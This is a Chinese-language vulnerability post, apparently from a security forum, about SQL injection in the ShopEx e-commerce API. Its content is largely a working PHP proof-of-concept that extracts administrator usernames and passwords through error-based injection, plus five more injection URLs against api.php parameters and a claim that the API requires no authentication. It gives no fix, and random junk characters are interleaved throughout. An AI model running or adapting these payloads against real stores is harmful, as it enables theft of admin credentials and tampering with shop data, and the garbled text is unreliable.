|
|
缺陷文件:\core\api\payment\2.0\api_b2b_2_0_payment_cfg.php- R0 u' V: l" A4 y
core\api\payment\1.0\api_b2b_2_0_payment_cfg.php; _6 g9 x& v+ ~- B+ H
, }) Q: v* M5 L' [: O2 _ E( V- Z第44行 $data['columns'] 未做过滤导致注入
* T6 l8 x# |) R+ R3 P g
: r/ u0 B$ B s' S' W<?php set_time_limit(0); ob_flush(); echo 'Test: http://localhost:808'."\r\n"; $sql = 'columns=* from sdb_payment_cfg WHERE 1 and (select 1 from(select count(*),concat((select (select (SELECT concat(username,0x7c,userpass) FROM sdb_operators limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&disabled=1'; $url='http://localhost:808/api.php?act=search_payment_cfg_list&api_version=2.0'; $ch = curl_init(); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_POSTFIELDS, $sql); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); flush(); $data = curl_exec($ch); echo $data; curl_close($ch); ?>外带一句 ShopEx对API操作的模块未做认证,任何用户都可访问,攻击者可通过它来对产品的分类,类型,规格,品牌等,进行添加,删除和修改,过滤不当还可造成注入.. D/ z# I: }& Q
; s/ ]$ A& A3 s( ^3 D: Q/ g+ k注射1:
$ b: y& W1 y! R. C/ V7 c) c2 S" z/ G/ g- Q0 `5 K$ l' t# ?
http://www.0day5.com/api.php POST act=search_sub_regions&api_version=1.0&return_data=string&p_region_id=22 and (select 1 from(select count(*),concat(0x7c,(select (Select version()) from information_schema.tables limit 0,1),0x7c,floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)#, b4 `; F+ x/ u7 H. x1 u5 Z+ {9 Q: N
' B5 s4 W8 ~- _
注射2:
Q. q+ P. Q& W7 V. |- Zhttp://www.0day5.com/shopex/api.php act=add_category&api_version=3.1&datas={"name":"name' and 1=x %23"}& d! L3 B n& V1 `
- |- {& B) U# j. C3 L注射3:
7 x$ s9 f3 T; A! {$ J http://www.0day5.com/shopex/api.php act=get_spec_single&api_version=3.1&spec_id=1 xxx$ E3 q& s; l8 |$ U- U- V
注射4:. v w2 \' N" d0 _9 {
- M: C' V6 L/ W$ b3 i$ W# t5 ]http://www.0day5.com/shopex/api.php act=online_pay_center&api_version=1.0&order_id=1x&pay_id=1¤cy=1& Y/ Q3 z2 U/ N& z9 R
: ]$ K, G1 R) j% w4 X' n
6 x+ G: l, r6 j; N: ~注射5:7 Z6 H4 t. O4 m3 T2 P! x1 ^
http://www.0day5.com/shopex/api.php act=search_dly_h_area&return_data=string&columns=xxxxx9 t; F5 @& |6 @2 R
5 o, m$ [, b T6 |# a, Q! S- r* O, T3 ?6 F u: n% {
) V& s5 P$ J+ s: W' J t" {1 ]- R) Q( y" Q; r
& F# P9 T, b5 P0 Q6 g& B" _8 a- f4 v$ T( Z
|
|